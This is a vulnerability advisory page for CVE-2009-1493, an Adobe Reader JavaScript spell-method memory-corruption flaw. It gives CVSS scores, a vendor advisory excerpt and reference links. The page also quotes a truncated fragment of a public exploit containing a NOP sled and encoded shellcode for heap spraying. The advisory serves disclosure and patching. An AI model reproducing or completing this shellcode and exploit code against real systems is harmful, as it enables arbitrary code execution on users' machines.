Published: 30/04/2009 Updated: 29/09/2017

CVSS v2 Base Score: 6.8 | Impact Score: 6.4 | Exploitability Score: 8.6

VMScore: 685

Vector: AV:N/AC:M/Au:N/C:P/I:P/A:P

The customDictionaryOpen spell method in the JavaScript API in Adobe Reader 9.1, 8.1.4, 7.1.1, and previous versions on Linux and UNIX allows remote malicious users to cause a denial of service (memory corruption) or execute arbitrary code via a PDF file that triggers a call to this method with a long string in the second argument.

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adobe reader 9.1
adobe reader 8.1.4

Synopsis Critical: acroread security update Type/Severity Security Advisory: Critical Topic Updated acroread packages that fix two security issues are now availablefor Red Hat Enterprise Linux 3 Extras, Red Hat Enterprise Linux 4 Extras,and Red Hat Enterprise Linux 5 SupplementaryThis update has been rated ...

//############## //Exploit made by Arr1val //Proved in adobe 91 and adobe 814 on linux //############## var memory; function New_Script() { var nop = unescape("%u9090%u9090"); var shellcode = unescape("%uc92b%ue983%ud9ee%ud9ee%u2474%u5bf4%u7381%uc513%u4871%u83a5%ufceb%uf4e2%uaaf4%ue61b%u1b96%ucf4a%u29a3%u44c1%uf108%ufcdb%u4e75%u2585%u088c%ufeb ...

CWE-399 http://www.securityfocus.com/bid/34740 http://secunia.com/advisories/34924 http://blogs.adobe.com/psirt/2009/04/update_on_adobe_reader_issue.html http://packetstorm.linuxsecurity.com/0904-exploits/spell.txt http://www.vupen.com/english/advisories/2009/1189 http://osvdb.org/54129 http://www.securitytracker.com/id?1022139 http://www.kb.cert.org/vuls/id/970180 http://blogs.adobe.com/psirt/2009/05/adobe_reader_issue_update.html http://www.adobe.com/support/security/bulletins/apsb09-06.html http://www.redhat.com/support/errata/RHSA-2009-0478.html http://sunsolve.sun.com/search/document.do?assetkey=1-66-259028-1 http://www.us-cert.gov/cas/techalerts/TA09-133B.html http://secunia.com/advisories/35096 http://lists.opensuse.org/opensuse-security-announce/2009-05/msg00001.html http://secunia.com/advisories/35055 http://www.vupen.com/english/advisories/2009/1317 http://secunia.com/advisories/35152 http://support.nortel.com/go/main.jsp?cscat=BLTNDETAIL&id=926953 http://secunia.com/advisories/35358 http://lists.opensuse.org/opensuse-security-announce/2009-06/msg00003.html http://secunia.com/advisories/35416 http://secunia.com/advisories/35734 http://security.gentoo.org/glsa/glsa-200907-06.xml https://exchange.xforce.ibmcloud.com/vulnerabilities/50146 https://www.exploit-db.com/exploits/8570 https://access.redhat.com/errata/RHSA-2009:0478 https://nvd.nist.gov https://www.exploit-db.com/exploits/8570/https://www.kb.cert.org/vuls/id/970180

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CVE-2009-1493

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